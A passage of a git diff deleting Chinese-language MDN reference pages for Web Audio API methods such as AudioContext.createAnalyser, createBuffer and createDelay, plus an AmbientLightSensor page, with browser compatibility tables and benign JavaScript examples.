+ +
// TBD
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/ambientlightsensor/reading/index.html b/files/zh-cn/web/api/ambientlightsensor/reading/index.html deleted file mode 100644 index b2b592a422..0000000000 --- a/files/zh-cn/web/api/ambientlightsensor/reading/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: reading -slug: Web/API/AmbientLightSensor/reading -translation_of: Web/API/AmbientLightSensor/illuminance -translation_of_original: Web/API/AmbientLightSensor/reading ---- -

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

- -

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

- -

语法

- -
var sensorReading = AmbientLightLevel.reading
- -

返回值

- -

{{domxref('AmbientLightSensorReading')}} 接口.

- -

用例

- -
// TBD
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
-
diff --git a/files/zh-cn/web/api/analysernode/fft/index.html b/files/zh-cn/web/api/analysernode/fft/index.html deleted file mode 100644 index f553738351..0000000000 --- a/files/zh-cn/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: Web/API/AnalyserNode/fft ---- -

目录失效

- -

Directory failure

diff --git a/files/zh-cn/web/api/audiocontext/createanalyser/index.html b/files/zh-cn/web/api/audiocontext/createanalyser/index.html deleted file mode 100644 index 2d00a8a100..0000000000 --- a/files/zh-cn/web/api/audiocontext/createanalyser/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: AudioContext.createAnalyser() -slug: Web/API/AudioContext/createAnalyser -translation_of: Web/API/BaseAudioContext/createAnalyser ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

-
- -
-

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

-
- -

语法

- -
var audioCtx = new AudioContext();
-var analyser = audioCtx.createAnalyser();
- -

返回值

- -

{{domxref("AnalyserNode")}}对象

- -

例子

- -

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var analyser = audioCtx.createAnalyser();
-
-  ...
-
-analyser.fftSize = 2048;
-var bufferLength = analyser.fftSize;
-var dataArray = new Uint8Array(bufferLength);
-analyser.getByteTimeDomainData(dataArray);
-
-// draw an oscilloscope of the current audio source
-
-function draw() {
-
-      drawVisual = requestAnimationFrame(draw);
-
-      analyser.getByteTimeDomainData(dataArray);
-
-      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
-      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-
-      canvasCtx.lineWidth = 2;
-      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
-
-      canvasCtx.beginPath();
-
-      var sliceWidth = WIDTH * 1.0 / bufferLength;
-      var x = 0;
-
-      for(var i = 0; i < bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
-
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
-
-        x += sliceWidth;
-      }
-
-      canvasCtx.lineTo(canvas.width, canvas.height/2);
-      canvasCtx.stroke();
-    };
-
-    draw();
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html deleted file mode 100644 index fa5884ad71..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: AudioContext.createBiquadFilter() -slug: Web/API/AudioContext/createBiquadFilter -tags: - - API - - EQ - - Web Audio API - - 参考 - - 方法 - - 滤波器 -translation_of: Web/API/BaseAudioContext/createBiquadFilter ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var biquadFilter = audioCtx.createBiquadFilter();
- -

返回

- -

一个 {{domxref("BiquadFilterNode")}}.

- -

示例

- -

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-
-//set up the different audio nodes we will use for the app
-var analyser = audioCtx.createAnalyser();
-var distortion = audioCtx.createWaveShaper();
-var gainNode = audioCtx.createGain();
-var biquadFilter = audioCtx.createBiquadFilter();
-var convolver = audioCtx.createConvolver();
-
-// connect the nodes together
-
-source = audioCtx.createMediaStreamSource(stream);
-source.connect(analyser);
-analyser.connect(distortion);
-distortion.connect(biquadFilter);
-biquadFilter.connect(convolver);
-convolver.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
-// Manipulate the Biquad filter
-
-biquadFilter.type = "lowshelf";
-biquadFilter.frequency.value = 1000;
-biquadFilter.gain.value = 25;
- -

规格

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

 

- -

相关

- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffer/index.html b/files/zh-cn/web/api/audiocontext/createbuffer/index.html deleted file mode 100644 index 2d29213737..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffer/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: AudioContext.createBuffer() -slug: Web/API/AudioContext/createBuffer -tags: - - 创建音频片段 - - 接口 - - 方法 - - 音频环境 -translation_of: Web/API/BaseAudioContext/createBuffer ---- -

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

- -

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

- -
-

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

-
- -

语法

- -
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
- -

参数

- -
-

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

-
- -
-
numOfChannels
-
一个定义了 buffer 中包含的声频通道数量的整数。
- 一个标准的实现必须包含至少32个声频通道。
-
 
-
length
-
一个代表 buffer 中的样本帧数的整数。
-
sampleRate
-
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
-
- -

 

- -

返回值

- -

一个 {{domxref("AudioBuffer")}}。

- -

示例

- -

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(2, 22050, 44100);
- -

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(1, 22050, 22050);
- -

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

- -
-

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

-
- -

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// 立体声
-var channels = 2;
-// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // 使用白噪声填充;
-  // 就是 -1.0 到 1.0 之间的随机数
-  for (var channel = 0; channel < channels; channel++) {
-   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
-  // 当我们想播放音频片段时,我们会用到这个源节点。
-  var source = audioCtx.createBufferSource();
-  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
-  source.buffer = myArrayBuffer;
-  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
-  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
-  source.connect(audioCtx.destination);
-  // 开始播放声源
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html b/files/zh-cn/web/api/audiocontext/createbuffersource/index.html deleted file mode 100644 index 5244513312..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: AudioContext.createBufferSource() -slug: Web/API/AudioContext/createBufferSource -tags: - - API - - 音源 - - 音频源 - - 音频节点 -translation_of: Web/API/BaseAudioContext/createBufferSource ---- -

{{ APIRef("Web Audio API") }}

- -
-

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

-
- -

语法

- -
var audioCtx = new AudioContext();
-var source = audioCtx.createBufferSource();
- -

返回

- -

一个{{domxref("AudioBufferSourceNode")}}对象.

- -

例子

- -

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

- -
-

Note: You can also run the code live, or view the source.

-
- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// Stereo
-var channels = 2;
-// Create an empty two second stereo buffer at the
-// sample rate of the AudioContext
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // Fill the buffer with white noise;
-  //just random values between -1.0 and 1.0
-  for (var channel = 0; channel < channels; channel++) {
-   // This gives us the actual ArrayBuffer that contains the data
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // Get an AudioBufferSourceNode.
-  // This is the AudioNode to use when we want to play an AudioBuffer
-  var source = audioCtx.createBufferSource();
-  // set the buffer in the AudioBufferSourceNode
-  source.buffer = myArrayBuffer;
-  // connect the AudioBufferSourceNode to the
-  // destination so we can hear the sound
-  source.connect(audioCtx.destination);
-  // start the source playing
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
- -

浏览器支持

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

See also

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html deleted file mode 100644 index 281dcddfe7..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: AudioContext.createChannelMerger() -slug: Web/API/AudioContext/createChannelMerger -tags: - - API - - Audio - - AudioContext - - Audio_Chinese -translation_of: Web/API/BaseAudioContext/createChannelMerger ---- -

{{ APIRef("Web Audio API") }}

- -
-

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var merger = audioCtx.createChannelMerger(2);
- -

参数

- -
-
numberOfInputs
-
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
-
- -

返回值

- -

一个 {{domxref("ChannelMergerNode")}}.

- -

(举个)栗(例)子

- -

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关页面

- - diff --git a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html deleted file mode 100644 index f46f5be2c5..0000000000 --- a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: AudioContext.createChannelSplitter() -slug: Web/API/AudioContext/createChannelSplitter -translation_of: Web/API/BaseAudioContext/createChannelSplitter ---- -

{{ APIRef("Web Audio API") }}

- -
-

The createChannelSplitter() method of the {{ domxref("AudioContext") }} Interface is used to create a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.

-
- -

Syntax

- -
var audioCtx = new AudioContext();
-var splitter = audioCtx.createChannelSplitter(2);
- -

参数

- -
-
numberOfOutputs
-
你期待将输入音频分割成的声道道数目; 当不传入参数时,默认为6
-
- -

Returns

- -

一个 {{domxref("ChannelSplitterNode")}}.

- -

Example

- -

下面这个简单的例子告诉你怎样分割一个双声道音轨 (或者说一段音乐), 以及对于左右声道不同的处理. 要使用它们, 你需要用到{{domxref("AudioNode.connect(AudioNode)") }}方法的第二个和第三个参数, 他们会指定链接声道源的序号和链接到的声道序号.

- -
var ac = new AudioContext();
-ac.decodeAudioData(someStereoBuffer, function(data) {
- var source = ac.createBufferSource();
- source.buffer = data;
- var splitter = ac.createChannelSplitter(2);
- source.connect(splitter);
- var merger = ac.createChannelMerger(2);
-
- // Reduce the volume of the left channel only
- var gainNode = ac.createGain();
- gainNode.gain.value = 0.5;
- splitter.connect(gainNode, 0);
-
- // Connect the splitter back to the second input of the merger: we
- // effectively swap the channels, here, reversing the stereo image.
- gainNode.connect(merger, 0, 1);
- splitter.connect(merger, 1, 0);
-
- var dest = ac.createMediaStreamDestination();
-
- // Because we have used a ChannelMergerNode, we now have a stereo
- // MediaStream we can use to pipe the Web Audio graph to WebRTC,
- // MediaRecorder, etc.
- merger.connect(dest);
-});
- -

规格

- - - - - - - - - - - - - - -
规格状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelSplitter-ChannelSplitterNode-unsigned-long-numberOfOutputs', 'createChannelSplitter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createconvolver/index.html b/files/zh-cn/web/api/audiocontext/createconvolver/index.html deleted file mode 100644 index 2cbe395edc..0000000000 --- a/files/zh-cn/web/api/audiocontext/createconvolver/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: AudioContext.createConvolver() -slug: Web/API/AudioContext/createConvolver -translation_of: Web/API/BaseAudioContext/createConvolver ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的方法createConvolver()能创建一个{{ domxref("ConvolverNode") }},通常用来对你的音频应用混响效果。在 Convolution规范定义 中查看更多信息。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var convolver = audioCtx.createConvolver();
- -

返回值

- -

{{domxref("ConvolverNode")}}对象。

- -

例子

- -

下面的例子展示了一个 AudioContext 创建一个 混响器节点 的基本使用方法。基本前提是你创建一个包含声音样本的 AudioBuffer 用作混响环境 (称之为脉冲响应,) 和在混响器中应用。 下面的例子使用了一个简短的示例音乐厅人群效果,所以混响效果应用深度和回声。

- -

更多完整例子请查看Voice-change-O-matic demo (中app.js的代码)。

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var convolver = audioCtx.createConvolver();
-
-  ...
-
-// grab audio track via XHR for convolver node
-
-var soundSource, concertHallBuffer;
-
-ajaxRequest = new XMLHttpRequest();
-ajaxRequest.open('GET', 'concert-crowd.ogg', true);
-ajaxRequest.responseType = 'arraybuffer';
-
-ajaxRequest.onload = function() {
-  var audioData = ajaxRequest.response;
-  audioCtx.decodeAudioData(audioData, function(buffer) {
-      concertHallBuffer = buffer;
-      soundSource = audioCtx.createBufferSource();
-      soundSource.buffer = concertHallBuffer;
-    }, function(e){"Error with decoding audio data" + e.err});
-}
-
-ajaxRequest.send();
-
-  ...
-
-convolver.buffer = concertHallBuffer;
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createConvolver-ConvolverNode', 'createConvolver()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22 (unprefixed)
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createdelay/index.html b/files/zh-cn/web/api/audiocontext/createdelay/index.html deleted file mode 100644 index b8e502758d..0000000000 --- a/files/zh-cn/web/api/audiocontext/createdelay/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: AudioContext.createDelay() -slug: Web/API/AudioContext/createDelay -translation_of: Web/API/BaseAudioContext/createDelay ---- -

{{ APIRef("Web Audio API") }}

- -
-

  createDelay() 是  {{ domxref("AudioContext") }}   的一个方法,作用是将输入音频信号延迟一定时间。(比如可以实现 对着话筒说句话,然后几秒后 这句话从音响里播放出来)

- -

 

-
- -

语法

- -
var audioCtx = new AudioContext();
-var synthDelay = audioCtx.createDelay(maxDelayTime);
- -

参数

- -
-
maxDelayTime
-
设置最大允许延迟的时间,以“秒”为单位
-
- -

返回

- -

A {{domxref("DelayNode")}}. The default {{domxref("DelayNode.delayTime")}} if no parameter is passed to createDelay() is 0 seconds.

- -

以上是原文,大意是返回延时时间,没有设置时默认是0

- -

 

- -

示例

- -

首先是中文版的简洁的示例,这个例子中 话筒里接收到的声音 会延迟3秒 从音响中播放

- -
window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
-
-try {//音频相关api
-    var audioContext = new window.AudioContext();
-    var synthDelay = audioContext.createDelay(5.0);
-} catch (e) {
-    alert("你浏览器不支持");
-}
-
-
-var error = function (error) {alert("有错误"); };
-
-//以下是获取麦克风
-if (navigator.getUserMedia) { //标准api
- navigator.getUserMedia({ "audio": true },
- function (stream) {
- micto(stream);    //具体工作
-                   }, error);
-}else if(navigator.webkitGetUserMedia) {   //webkit api
- navigator.webkitGetUserMedia({audio:true, video:  false },
- function (stream) {
-  micto(stream); //具体工作
-                   }, error);
- }else if (navigator.mozGetUserMedia) {  //火狐 api
- navigator.mozGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- }else if (navigator.msGetUserMedia) { //ie api
- navigator.msGetUserMedia({ "audio": true },
- function (stream) {
-  micto(stream);//具体工作
-                   }, error);
- } else {
-   alert("您的浏览器版不支持这个api");
-}
-
-
-
-
-
- var micto = function(stream) {
-
-  synthDelay.delayTime.value = 3.0;   //延迟3秒
-
-  var source = audioContext.createMediaStreamSource(stream);
-
-  source.connect(synthDelay);
-
-  synthDelay.connect(audioContext.destination);
-
-      }
- 
- -

 

- -

 以下是英文版示例

- -

We have created a simple example that allows you to play three different samples on a constant loop — see create-delay (you can also view the source code). If you just press the play buttons, the loops will start immediately; if you slide the sliders up to the right, then press the play buttons, a delay will be introduced, so the looping sounds don't start playing for a short amount of time.

- -
var AudioContext = window.AudioContext || window.webkitAudioContext;
-var audioCtx = new AudioContext();
-
-var synthDelay = audioCtx.createDelay(5.0);
-
-  ...
-
-var synthSource;
-
-playSynth.onclick = function() {
-  synthSource = audioCtx.createBufferSource();
-  synthSource.buffer = buffers[2];
-  synthSource.loop = true;
-  synthSource.start();
-  synthSource.connect(synthDelay);
-  synthDelay.connect(destination);
-  this.setAttribute('disabled', 'disabled');
-}
-
-stopSynth.onclick = function() {
-  synthSource.disconnect(synthDelay);
-  synthDelay.disconnect(destination);
-  synthSource.stop();
-  playSynth.removeAttribute('disabled');
-}
-
-...
-
-var delay1;
